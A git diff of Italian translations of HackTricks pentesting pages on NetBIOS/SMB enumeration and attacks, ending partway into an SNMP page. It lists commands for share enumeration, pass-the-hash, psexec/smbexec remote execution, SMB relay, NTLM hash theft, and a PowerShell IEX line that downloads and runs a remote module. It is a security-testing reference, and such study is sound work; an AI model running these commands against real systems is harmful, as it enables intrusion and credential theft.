Il _**Network Basic Input Output System**_** (NetBIOS)** è un protocollo software progettato per consentire a applicazioni, PC e desktop all'interno di una rete locale (LAN) di interagire con l'hardware di rete e **facilitare la trasmissione di dati attraverso la rete**. L'identificazione e la localizzazione delle applicazioni software che operano su una rete NetBIOS avvengono attraverso i loro nomi NetBIOS, che possono avere una lunghezza massima di 16 caratteri e sono spesso distinti dal nome del computer. Una sessione NetBIOS tra due applicazioni viene avviata quando un'applicazione (che funge da client) emette un comando per "chiamare" un'altra applicazione (che funge da server) utilizzando **TCP Port 139**.
|
||||
```
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
```
|
||||
@ -18,9 +18,9 @@ Ad esempio, nel contesto di Windows, si evidenzia che SMB può operare direttame
|
||||
```
|
||||
### SMB
|
||||
|
||||
Il **Server Message Block (SMB)** protocol, che opera in un modello **client-server**, è progettato per regolare l'**accesso ai file**, alle directory e ad altre risorse di rete come stampanti e router. Utilizzato principalmente all'interno della serie di sistemi operativi **Windows**, SMB garantisce la compatibilità all'indietro, consentendo ai dispositivi con versioni più recenti del sistema operativo di Microsoft di interagire senza problemi con quelli che eseguono versioni più vecchie. Inoltre, il progetto **Samba** offre una soluzione software gratuita, consentendo l'implementazione di SMB su sistemi **Linux** e Unix, facilitando così la comunicazione cross-platform tramite SMB.
|
||||
Il **Server Message Block (SMB)** protocol, che opera in un modello **client-server**, è progettato per regolare l'**accesso ai file**, alle directory e ad altre risorse di rete come stampanti e router. Utilizzato principalmente all'interno della serie di sistemi operativi **Windows**, SMB garantisce la compatibilità all'indietro, consentendo ai dispositivi con versioni più recenti del sistema operativo Microsoft di interagire senza problemi con quelli che eseguono versioni più vecchie. Inoltre, il progetto **Samba** offre una soluzione software gratuita, consentendo l'implementazione di SMB su sistemi **Linux** e Unix, facilitando così la comunicazione cross-platform tramite SMB.
|
||||
|
||||
Le condivisioni, che rappresentano **parti arbitrarie del file system locale**, possono essere fornite da un server SMB, rendendo la gerarchia visibile a un client in parte **indipendente** dalla struttura effettiva del server. Le **Access Control Lists (ACLs)**, che definiscono i **diritti di accesso**, consentono un **controllo dettagliato** sulle autorizzazioni degli utenti, inclusi attributi come **`execute`**, **`read`** e **`full access`**. Queste autorizzazioni possono essere assegnate a singoli utenti o gruppi, in base alle condivisioni, e sono distinte dalle autorizzazioni locali impostate sul server.
|
||||
Le condivisioni, che rappresentano **parti arbitrarie del file system locale**, possono essere fornite da un server SMB, rendendo la gerarchia visibile a un client parzialmente **indipendente** dalla struttura effettiva del server. Le **Access Control Lists (ACLs)**, che definiscono i **diritti di accesso**, consentono un **controllo dettagliato** sui permessi degli utenti, inclusi attributi come **`execute`**, **`read`** e **`full access`**. Questi permessi possono essere assegnati a singoli utenti o gruppi, in base alle condivisioni, e sono distinti dai permessi locali impostati sul server.
|
||||
|
||||
### IPC$ Share
|
||||
|
||||
@ -48,7 +48,7 @@ Se non sai cos'è NTLM o vuoi sapere come funziona e come abusarne, troverai mol
|
||||
|
||||
## **Enumerazione del Server**
|
||||
|
||||
### **Scansiona** una rete cercando host:
|
||||
### **Scansiona** una rete alla ricerca di host:
|
||||
```bash
|
||||
nbtscan -r 192.168.0.1/24
|
||||
```
|
||||
@ -56,7 +56,7 @@ nbtscan -r 192.168.0.1/24
|
||||
|
||||
Per cercare possibili exploit per la versione SMB, è importante sapere quale versione viene utilizzata. Se queste informazioni non appaiono in altri strumenti utilizzati, puoi:
|
||||
|
||||
- Usare il modulo ausiliario **MSF** \_**auxiliary/scanner/smb/smb_version**
|
||||
- Usare il modulo ausiliario **MSF** _**auxiliary/scanner/smb/smb_version**_
|
||||
- Oppure questo script:
|
||||
```bash
|
||||
#!/bin/sh
|
||||
@ -149,7 +149,7 @@ use auxiliary/scanner/smb/smb_lookupsid
|
||||
set rhosts hostname.local
|
||||
run
|
||||
```
|
||||
### **Enumerare LSARPC e SAMR rpcclient**
|
||||
### **Enumerazione di LSARPC e SAMR rpcclient**
|
||||
|
||||
{{#ref}}
|
||||
pentesting-smb/rpcclient-enumeration.md
|
||||
@ -169,7 +169,7 @@ pentesting-smb/rpcclient-enumeration.md
|
||||
|
||||
### Elenca le cartelle condivise
|
||||
|
||||
È sempre consigliato controllare se puoi accedere a qualcosa; se non hai credenziali, prova a usare **null** **credentials/guest user**.
|
||||
È sempre consigliato controllare se puoi accedere a qualcosa; se non hai credenziali, prova a utilizzare **null** **credentials/guest user**.
|
||||
```bash
|
||||
smbclient --no-pass -L //<IP> # Null user
|
||||
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
|
||||
@ -197,7 +197,7 @@ smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-t
|
||||
```
|
||||
### **Enumerare manualmente le condivisioni di Windows e connettersi ad esse**
|
||||
|
||||
Potrebbe essere possibile che tu sia limitato nella visualizzazione delle condivisioni della macchina host e quando provi a elencarle sembra che non ci siano condivisioni a cui connettersi. Pertanto, potrebbe valere la pena provare a connettersi manualmente a una condivisione. Per enumerare manualmente le condivisioni, potresti voler cercare risposte come NT_STATUS_ACCESS_DENIED e NT_STATUS_BAD_NETWORK_NAME, quando utilizzi una sessione valida (ad es. sessione nulla o credenziali valide). Queste possono indicare se la condivisione esiste e non hai accesso ad essa o se la condivisione non esiste affatto.
|
||||
Potrebbe essere possibile che tu sia limitato nella visualizzazione delle condivisioni della macchina host e quando provi a elencarle sembra che non ci siano condivisioni a cui connettersi. Pertanto, potrebbe valere la pena provare a connettersi manualmente a una condivisione. Per enumerare manualmente le condivisioni, potresti voler cercare risposte come NT_STATUS_ACCESS_DENIED e NT_STATUS_BAD_NETWORK_NAME, quando utilizzi una sessione valida (ad es. sessione nulla o credenziali valide). Questi possono indicare se la condivisione esiste e non hai accesso ad essa o se la condivisione non esiste affatto.
|
||||
|
||||
I nomi di condivisione comuni per i target Windows sono
|
||||
|
||||
@ -239,10 +239,10 @@ esempi
|
||||
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
|
||||
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
|
||||
```
|
||||
### **Enumerare condivisioni da Windows / senza strumenti di terze parti**
|
||||
### **Enumerare le condivisioni da Windows / senza strumenti di terze parti**
|
||||
|
||||
PowerShell
|
||||
```powershell
|
||||
```bash
|
||||
# Retrieves the SMB shares on the locale computer.
|
||||
Get-SmbShare
|
||||
Get-WmiObject -Class Win32_Share
|
||||
@ -267,7 +267,7 @@ compmgmt.msc
|
||||
```
|
||||
explorer.exe (grafico), inserisci `\\<ip>\` per vedere le condivisioni disponibili non nascoste.
|
||||
|
||||
### Montare una cartella condivisa
|
||||
### Monta una cartella condivisa
|
||||
```bash
|
||||
mount -t cifs //x.x.x.x/share /mnt/share
|
||||
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
|
||||
@ -300,7 +300,7 @@ Comandi:
|
||||
|
||||
### Ricerca di Cartelle Condivise nel Dominio
|
||||
|
||||
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\*
|
||||
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)
|
||||
```bash
|
||||
Snaffler.exe -s -d domain.local -o snaffler.log -v data
|
||||
```
|
||||
@ -310,10 +310,14 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
|
||||
```bash
|
||||
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
|
||||
```
|
||||
Specialmente interessanti tra le condivisioni sono i file chiamati **`Registry.xml`** poiché **possono contenere password** per gli utenti configurati con **autologon** tramite Group Policy. Oppure i file **`web.config`** poiché contengono credenziali.
|
||||
Particolarmente interessanti tra le condivisioni sono i file chiamati **`Registry.xml`** poiché **possono contenere password** per gli utenti configurati con **autologon** tramite Group Policy. Oppure i file **`web.config`** poiché contengono credenziali.
|
||||
|
||||
- [**PowerHuntShares**](https://github.com/NetSPI/PowerHuntShares)
|
||||
- `IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerHuntShares/main/PowerHuntShares.psm1")`
|
||||
- `Invoke-HuntSMBShares -Threads 100 -OutputDirectory c:\temp\test`
|
||||
|
||||
> [!NOTE]
|
||||
> La **condivisione SYSVOL** è **leggibile** da tutti gli utenti autenticati nel dominio. Lì puoi **trovare** molti diversi batch, VBScript e **script** PowerShell.\
|
||||
> La **condivisione SYSVOL** è **leggibile** da tutti gli utenti autenticati nel dominio. Qui puoi **trovare** molti diversi batch, VBScript e **script** PowerShell.\
|
||||
> Dovresti **controllare** gli **script** al suo interno poiché potresti **trovare** informazioni sensibili come **password**.
|
||||
|
||||
## Leggi il Registro
|
||||
@ -329,17 +333,17 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
|
||||
La **configurazione predefinita di** un **server Samba** si trova solitamente in `/etc/samba/smb.conf` e potrebbe avere alcune **configurazioni pericolose**:
|
||||
|
||||
| **Impostazione** | **Descrizione** |
|
||||
| --------------------------- | ----------------------------------------------------------------- |
|
||||
| `browseable = yes` | Consentire l'elenco delle condivisioni disponibili nella condivisione corrente? |
|
||||
| `read only = no` | Vietare la creazione e la modifica di file? |
|
||||
| `writable = yes` | Consentire agli utenti di creare e modificare file? |
|
||||
| --------------------------- | ------------------------------------------------------------------ |
|
||||
| `browseable = yes` | Consentire l'elenco delle condivisioni disponibili nella condivisione attuale? |
|
||||
| `read only = no` | Vietare la creazione e la modifica di file? |
|
||||
| `writable = yes` | Consentire agli utenti di creare e modificare file? |
|
||||
| `guest ok = yes` | Consentire la connessione al servizio senza utilizzare una password? |
|
||||
| `enable privileges = yes` | Rispettare i privilegi assegnati a SID specifici? |
|
||||
| `create mask = 0777` | Quali permessi devono essere assegnati ai file appena creati? |
|
||||
| `enable privileges = yes` | Rispettare i privilegi assegnati a SID specifici? |
|
||||
| `create mask = 0777` | Quali permessi devono essere assegnati ai file appena creati? |
|
||||
| `directory mask = 0777` | Quali permessi devono essere assegnati alle directory appena create? |
|
||||
| `logon script = script.sh` | Quale script deve essere eseguito al login dell'utente? |
|
||||
| `magic script = script.sh` | Quale script deve essere eseguito quando lo script viene chiuso? |
|
||||
| `magic output = script.out` | Dove deve essere memorizzato l'output dello script magico? |
|
||||
| `logon script = script.sh` | Quale script deve essere eseguito al login dell'utente? |
|
||||
| `magic script = script.sh` | Quale script deve essere eseguito quando lo script viene chiuso? |
|
||||
| `magic output = script.out` | Dove deve essere memorizzato l'output dello script magico? |
|
||||
|
||||
Il comando `smbstatus` fornisce informazioni sul **server** e su **chi è connesso**.
|
||||
|
||||
@ -379,7 +383,7 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
|
||||
### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
|
||||
|
||||
Entrambe le opzioni **creeranno un nuovo servizio** (utilizzando _\pipe\svcctl_ tramite SMB) nella macchina vittima e lo utilizzeranno per **eseguire qualcosa** (**psexec** **caricherà** un file eseguibile nella condivisione ADMIN$ e **smbexec** punterà a **cmd.exe/powershell.exe** e metterà negli argomenti il payload --**tecnica senza file-**-).\
|
||||
**Ulteriori informazioni** su [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)e [**smbexec**](../windows-hardening/ntlm/smbexec.md).\
|
||||
**Maggiore info** su [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)e [**smbexec**](../windows-hardening/ntlm/smbexec.md).\
|
||||
In **kali** si trova in /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
@ -409,7 +413,7 @@ Utilizzando **parameter**`-k` puoi autenticarti contro **kerberos** invece di **
|
||||
```
|
||||
### [AtExec](../windows-hardening/ntlm/atexec.md)
|
||||
|
||||
Eseguire comandi tramite il Task Scheduler (utilizzando _\pipe\atsvc_ tramite SMB).\
|
||||
Esegui comandi tramite il Task Scheduler (utilizzando _\pipe\atsvc_ tramite SMB).\
|
||||
In **kali** si trova in /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
|
||||
@ -428,12 +432,12 @@ ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid
|
||||
```
|
||||
## Attacco di relay SMB
|
||||
|
||||
Questo attacco utilizza il toolkit Responder per **catturare le sessioni di autenticazione SMB** su una rete interna e **rilanciarle** a una **macchina target**. Se la **sessione di autenticazione ha successo**, ti porterà automaticamente in una **shell** **di sistema**.\
|
||||
Questo attacco utilizza il toolkit Responder per **catturare le sessioni di autenticazione SMB** su una rete interna e **relevarle** a una **macchina target**. Se la **sessione di autenticazione ha successo**, ti porterà automaticamente in una **shell** **di sistema**.\
|
||||
[**Ulteriori informazioni su questo attacco qui.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
## SMB-Trap
|
||||
|
||||
La libreria di Windows URLMon.dll tenta automaticamente di autenticarsi con l'host quando una pagina cerca di accedere a qualche contenuto tramite SMB, ad esempio: `img src="\\10.10.10.10\path\image.jpg"`
|
||||
La libreria Windows URLMon.dll tenta automaticamente di autenticarsi con l'host quando una pagina cerca di accedere a qualche contenuto tramite SMB, ad esempio: `img src="\\10.10.10.10\path\image.jpg"`
|
||||
|
||||
Questo avviene con le funzioni:
|
||||
|
||||
@ -452,7 +456,7 @@ Che sono utilizzate da alcuni browser e strumenti (come Skype)
|
||||
|
||||
## Furto di NTLM
|
||||
|
||||
Simile al SMB Trapping, piantare file dannosi su un sistema target (via SMB, ad esempio) può provocare un tentativo di autenticazione SMB, consentendo di intercettare l'hash NetNTLMv2 con uno strumento come Responder. L'hash può quindi essere decifrato offline o utilizzato in un [attacco di relay SMB](pentesting-smb.md#smb-relay-attack).
|
||||
Simile al SMB Trapping, piantare file dannosi su un sistema target (via SMB, ad esempio) può innescare un tentativo di autenticazione SMB, consentendo di intercettare l'hash NetNTLMv2 con uno strumento come Responder. L'hash può quindi essere decifrato offline o utilizzato in un [attacco di relay SMB](pentesting-smb.md#smb-relay-attack).
|
||||
|
||||
[Guarda: ntlm_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
|
||||
|
||||
|
||||
@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## **Porta 139**
|
||||
## **Port 139**
|
||||
|
||||
Il _**Network Basic Input Output System**_\*\* (NetBIOS)\*\* è un protocollo software progettato per consentire alle applicazioni, PC e Desktop all'interno di una rete locale (LAN) di interagire con l'hardware di rete e **facilitare la trasmissione di dati attraverso la rete**. L'identificazione e la localizzazione delle applicazioni software che operano su una rete NetBIOS avvengono attraverso i loro nomi NetBIOS, che possono avere una lunghezza massima di 16 caratteri e sono spesso distinti dal nome del computer. Una sessione NetBIOS tra due applicazioni viene avviata quando un'applicazione (che funge da client) emette un comando per "chiamare" un'altra applicazione (che funge da server) utilizzando **TCP Port 139**.
|
||||
Il _**Network Basic Input Output System**_** (NetBIOS)** è un protocollo software progettato per consentire ad applicazioni, PC e desktop all'interno di una rete locale (LAN) di interagire con l'hardware di rete e **facilitare la trasmissione di dati attraverso la rete**. L'identificazione e la localizzazione delle applicazioni software che operano su una rete NetBIOS avvengono attraverso i loro nomi NetBIOS, che possono avere una lunghezza massima di 16 caratteri e sono spesso distinti dal nome del computer. Una sessione NetBIOS tra due applicazioni viene avviata quando un'applicazione (che funge da client) emette un comando per "chiamare" un'altra applicazione (che funge da server) utilizzando **TCP Port 139**.
|
||||
```
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
```
|
||||
@ -18,9 +18,9 @@ Ad esempio, nel contesto di Windows, si evidenzia che SMB può operare direttame
|
||||
```
|
||||
### SMB
|
||||
|
||||
Il **Server Message Block (SMB)** protocollo, che opera in un modello **client-server**, è progettato per regolare l'**accesso ai file**, alle directory e ad altre risorse di rete come stampanti e router. Utilizzato principalmente all'interno della serie di sistemi operativi **Windows**, SMB garantisce la compatibilità all'indietro, consentendo ai dispositivi con versioni più recenti del sistema operativo Microsoft di interagire senza problemi con quelli che eseguono versioni più vecchie. Inoltre, il progetto **Samba** offre una soluzione software gratuita, consentendo l'implementazione di SMB su sistemi **Linux** e Unix, facilitando così la comunicazione cross-platform tramite SMB.
|
||||
Il **Server Message Block (SMB)** protocol, che opera in un modello **client-server**, è progettato per regolare l'**accesso ai file**, alle directory e ad altre risorse di rete come stampanti e router. Utilizzato principalmente all'interno della serie di sistemi operativi **Windows**, SMB garantisce la compatibilità all'indietro, consentendo ai dispositivi con versioni più recenti del sistema operativo Microsoft di interagire senza problemi con quelli che eseguono versioni più vecchie. Inoltre, il progetto **Samba** offre una soluzione software gratuita, consentendo l'implementazione di SMB su sistemi **Linux** e Unix, facilitando così la comunicazione cross-platform tramite SMB.
|
||||
|
||||
Le condivisioni, che rappresentano **parti arbitrarie del file system locale**, possono essere fornite da un server SMB, rendendo la gerarchia visibile a un client in parte **indipendente** dalla struttura effettiva del server. Le **Access Control Lists (ACLs)**, che definiscono i **diritti di accesso**, consentono un **controllo dettagliato** sulle autorizzazioni degli utenti, inclusi attributi come **`execute`**, **`read`** e **`full access`**. Queste autorizzazioni possono essere assegnate a singoli utenti o gruppi, in base alle condivisioni, e sono distinte dalle autorizzazioni locali impostate sul server.
|
||||
Le condivisioni, che rappresentano **parti arbitrarie del file system locale**, possono essere fornite da un server SMB, rendendo la gerarchia visibile a un client parzialmente **indipendente** dalla struttura effettiva del server. Le **Access Control Lists (ACLs)**, che definiscono i **diritti di accesso**, consentono un **controllo dettagliato** sui permessi degli utenti, inclusi attributi come **`execute`**, **`read`** e **`full access`**. Questi permessi possono essere assegnati a singoli utenti o gruppi, in base alle condivisioni, e sono distinti dai permessi locali impostati sul server.
|
||||
|
||||
### IPC$ Share
|
||||
|
||||
@ -32,7 +32,7 @@ L'accesso alla condivisione IPC$ può essere ottenuto tramite una sessione anoni
|
||||
- Informazioni sulle condivisioni SMB disponibili
|
||||
- La politica di sicurezza del sistema efficace
|
||||
|
||||
Questa funzionalità è fondamentale per gli amministratori di rete e i professionisti della sicurezza per valutare la postura di sicurezza dei servizi SMB (Server Message Block) su una rete. `enum4linux` fornisce una visione completa dell'ambiente SMB del sistema target, essenziale per identificare potenziali vulnerabilità e garantire che i servizi SMB siano adeguatamente protetti.
|
||||
Questa funzionalità è critica per gli amministratori di rete e i professionisti della sicurezza per valutare la postura di sicurezza dei servizi SMB (Server Message Block) su una rete. `enum4linux` fornisce una visione completa dell'ambiente SMB del sistema target, essenziale per identificare potenziali vulnerabilità e garantire che i servizi SMB siano adeguatamente protetti.
|
||||
```bash
|
||||
enum4linux -a target_ip
|
||||
```
|
||||
@ -56,7 +56,7 @@ nbtscan -r 192.168.0.1/24
|
||||
|
||||
Per cercare possibili exploit per la versione SMB, è importante sapere quale versione viene utilizzata. Se queste informazioni non appaiono in altri strumenti utilizzati, puoi:
|
||||
|
||||
- Usare il modulo ausiliario **MSF** \_**auxiliary/scanner/smb/smb_version**
|
||||
- Usare il modulo ausiliario **MSF** `**auxiliary/scanner/smb/smb_version**`
|
||||
- Oppure questo script:
|
||||
```bash
|
||||
#!/bin/sh
|
||||
@ -149,7 +149,7 @@ use auxiliary/scanner/smb/smb_lookupsid
|
||||
set rhosts hostname.local
|
||||
run
|
||||
```
|
||||
### **Enumerare LSARPC e SAMR rpcclient**
|
||||
### **Enumerazione di LSARPC e SAMR rpcclient**
|
||||
|
||||
{{#ref}}
|
||||
rpcclient-enumeration.md
|
||||
@ -197,7 +197,7 @@ smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-t
|
||||
```
|
||||
### **Enumerare manualmente le condivisioni di Windows e connettersi ad esse**
|
||||
|
||||
Potrebbe essere possibile che tu sia limitato nella visualizzazione delle condivisioni della macchina host e quando provi a elencarle sembra che non ci siano condivisioni a cui connettersi. Pertanto, potrebbe valere la pena provare a connettersi manualmente a una condivisione. Per enumerare manualmente le condivisioni, potresti voler cercare risposte come NT_STATUS_ACCESS_DENIED e NT_STATUS_BAD_NETWORK_NAME, quando utilizzi una sessione valida (ad es. sessione nulla o credenziali valide). Queste possono indicare se la condivisione esiste e non hai accesso ad essa o se la condivisione non esiste affatto.
|
||||
Potrebbe essere possibile che tu sia limitato nella visualizzazione di qualsiasi condivisione della macchina host e quando provi a elencarle sembra che non ci siano condivisioni a cui connettersi. Pertanto, potrebbe valere la pena provare a connettersi manualmente a una condivisione. Per enumerare manualmente le condivisioni, potresti voler cercare risposte come NT_STATUS_ACCESS_DENIED e NT_STATUS_BAD_NETWORK_NAME, quando utilizzi una sessione valida (ad es. sessione nulla o credenziali valide). Questi possono indicare se la condivisione esiste e non hai accesso ad essa o se la condivisione non esiste affatto.
|
||||
|
||||
I nomi di condivisione comuni per i target Windows sono
|
||||
|
||||
@ -242,7 +242,7 @@ smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED o
|
||||
### **Enumerare le condivisioni da Windows / senza strumenti di terze parti**
|
||||
|
||||
PowerShell
|
||||
```powershell
|
||||
```bash
|
||||
# Retrieves the SMB shares on the locale computer.
|
||||
Get-SmbShare
|
||||
Get-WmiObject -Class Win32_Share
|
||||
@ -267,7 +267,7 @@ compmgmt.msc
|
||||
```
|
||||
explorer.exe (grafico), inserisci `\\<ip>\` per vedere le condivisioni disponibili non nascoste.
|
||||
|
||||
### Montare una cartella condivisa
|
||||
### Monta una cartella condivisa
|
||||
```bash
|
||||
mount -t cifs //x.x.x.x/share /mnt/share
|
||||
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
|
||||
@ -300,7 +300,7 @@ Comandi:
|
||||
|
||||
### Ricerca di Cartelle Condivise nel Dominio
|
||||
|
||||
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\*
|
||||
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)
|
||||
```bash
|
||||
Snaffler.exe -s -d domain.local -o snaffler.log -v data
|
||||
```
|
||||
@ -310,10 +310,10 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
|
||||
```bash
|
||||
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
|
||||
```
|
||||
Particolarmente interessanti tra le condivisioni sono i file chiamati **`Registry.xml`** poiché **possono contenere password** per gli utenti configurati con **autologon** tramite Group Policy. Oppure i file **`web.config`** poiché contengono credenziali.
|
||||
Specialmente interessanti dalle condivisioni sono i file chiamati **`Registry.xml`** poiché **possono contenere password** per gli utenti configurati con **autologon** tramite Group Policy. Oppure i file **`web.config`** poiché contengono credenziali.
|
||||
|
||||
> [!NOTE]
|
||||
> La **condivisione SYSVOL** è **leggibile** da tutti gli utenti autenticati nel dominio. Lì puoi **trovare** molti diversi **script** batch, VBScript e PowerShell.\
|
||||
> La **condivisione SYSVOL** è **leggibile** da tutti gli utenti autenticati nel dominio. Lì puoi **trovare** molti diversi batch, VBScript e **script** PowerShell.\
|
||||
> Dovresti **controllare** gli **script** al suo interno poiché potresti **trovare** informazioni sensibili come **password**.
|
||||
|
||||
## Leggi il Registro
|
||||
@ -330,15 +330,15 @@ La **configurazione predefinita di** un **server Samba** si trova solitamente in
|
||||
|
||||
| **Impostazione** | **Descrizione** |
|
||||
| --------------------------- | ------------------------------------------------------------------ |
|
||||
| `browseable = yes` | Consentire l'elenco delle condivisioni disponibili nella condivisione corrente? |
|
||||
| `read only = no` | Vietare la creazione e la modifica di file? |
|
||||
| `writable = yes` | Consentire agli utenti di creare e modificare file? |
|
||||
| `browseable = yes` | Consentire l'elenco delle condivisioni disponibili nella condivisione attuale? |
|
||||
| `read only = no` | Vietare la creazione e la modifica di file? |
|
||||
| `writable = yes` | Consentire agli utenti di creare e modificare file? |
|
||||
| `guest ok = yes` | Consentire la connessione al servizio senza utilizzare una password? |
|
||||
| `enable privileges = yes` | Rispettare i privilegi assegnati a SID specifici? |
|
||||
| `enable privileges = yes` | Rispettare i privilegi assegnati a SID specifici? |
|
||||
| `create mask = 0777` | Quali permessi devono essere assegnati ai file appena creati? |
|
||||
| `directory mask = 0777` | Quali permessi devono essere assegnati alle directory appena create? |
|
||||
| `logon script = script.sh` | Quale script deve essere eseguito al login dell'utente? |
|
||||
| `magic script = script.sh` | Quale script dovrebbe essere eseguito quando lo script viene chiuso? |
|
||||
| `magic script = script.sh` | Quale script deve essere eseguito quando lo script viene chiuso? |
|
||||
| `magic output = script.out` | Dove deve essere memorizzato l'output dello script magico? |
|
||||
|
||||
Il comando `smbstatus` fornisce informazioni sul **server** e su **chi è connesso**.
|
||||
@ -379,7 +379,7 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
|
||||
### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md)
|
||||
|
||||
Entrambe le opzioni **creeranno un nuovo servizio** (utilizzando _\pipe\svcctl_ tramite SMB) nella macchina vittima e lo utilizzeranno per **eseguire qualcosa** (**psexec** **caricherà** un file eseguibile nella condivisione ADMIN$ e **smbexec** punterà a **cmd.exe/powershell.exe** e metterà negli argomenti il payload --**tecnica senza file-**-).\
|
||||
**Ulteriori informazioni** su [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)e [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
|
||||
**Maggiore info** su [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)e [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\
|
||||
In **kali** si trova in /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
@ -428,7 +428,7 @@ ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid
|
||||
```
|
||||
## SMB relay attack
|
||||
|
||||
Questo attacco utilizza il toolkit Responder per **catturare le sessioni di autenticazione SMB** su una rete interna e **rilanciarle** a una **macchina target**. Se la **sessione di autenticazione ha successo**, ti porterà automaticamente in una **shell** **di sistema**.\
|
||||
Questo attacco utilizza il toolkit Responder per **catturare le sessioni di autenticazione SMB** su una rete interna e **reindirizzarle** a una **macchina target**. Se la **sessione di autenticazione ha successo**, ti porterà automaticamente in una **shell** **di sistema**.\
|
||||
[**Ulteriori informazioni su questo attacco qui.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
## SMB-Trap
|
||||
@ -452,9 +452,9 @@ Che sono utilizzate da alcuni browser e strumenti (come Skype)
|
||||
|
||||
## NTLM Theft
|
||||
|
||||
Simile al SMB Trapping, piantare file dannosi su un sistema target (via SMB, ad esempio) può provocare un tentativo di autenticazione SMB, consentendo di intercettare l'hash NetNTLMv2 con uno strumento come Responder. L'hash può quindi essere decifrato offline o utilizzato in un [SMB relay attack](#smb-relay-attack).
|
||||
Simile allo SMB Trapping, piantare file dannosi su un sistema target (via SMB, ad esempio) può innescare un tentativo di autenticazione SMB, consentendo di intercettare l'hash NetNTLMv2 con uno strumento come Responder. L'hash può quindi essere decifrato offline o utilizzato in un [SMB relay attack](#smb-relay-attack).
|
||||
|
||||
[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
|
||||
[Guarda: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
|
||||
|
||||
## HackTricks Automatic Commands
|
||||
```
|
||||
|
||||
@ -2,6 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Informazioni di Base
|
||||
|
||||
**SNMP - Simple Network Management Protocol** è un protocollo utilizzato per monitorare diversi dispositivi nella rete (come router, switch, stampanti, IoT...).
|
||||
@ -14,12 +15,12 @@ PORT STATE SERVICE REASON VERSION
|
||||
|
||||
### MIB
|
||||
|
||||
Per garantire che l'accesso SNMP funzioni tra diversi produttori e con diverse combinazioni client-server, è stata creata la **Management Information Base (MIB)**. La MIB è un **formato indipendente per memorizzare informazioni sui dispositivi**. Una MIB è un file **testo** in cui tutti gli **oggetti SNMP** interrogabili di un dispositivo sono elencati in una gerarchia ad albero **standardizzata**. Contiene almeno un **`Object Identifier` (`OID`)**, che, oltre all'**indirizzo unico** necessario e a un **nome**, fornisce anche informazioni sul tipo, diritti di accesso e una descrizione dell'oggetto rispettivo.\
|
||||
I file MIB sono scritti nel formato di testo ASCII basato su `Abstract Syntax Notation One` (`ASN.1`). Le **MIB non contengono dati**, ma spiegano **dove trovare quali informazioni** e come appaiono, quali valori restituiscono per l'OID specifico o quale tipo di dato viene utilizzato.
|
||||
Per garantire che l'accesso SNMP funzioni tra diversi produttori e con diverse combinazioni client-server, è stato creato il **Management Information Base (MIB)**. MIB è un **formato indipendente per memorizzare informazioni sui dispositivi**. Un MIB è un file **testo** in cui tutti gli **oggetti SNMP** interrogabili di un dispositivo sono elencati in una gerarchia ad albero **standardizzata**. Contiene almeno un **`Object Identifier` (`OID`)**, che, oltre all'**indirizzo unico** necessario e a un **nome**, fornisce anche informazioni sul tipo, diritti di accesso e una descrizione dell'oggetto rispettivo.\
|
||||
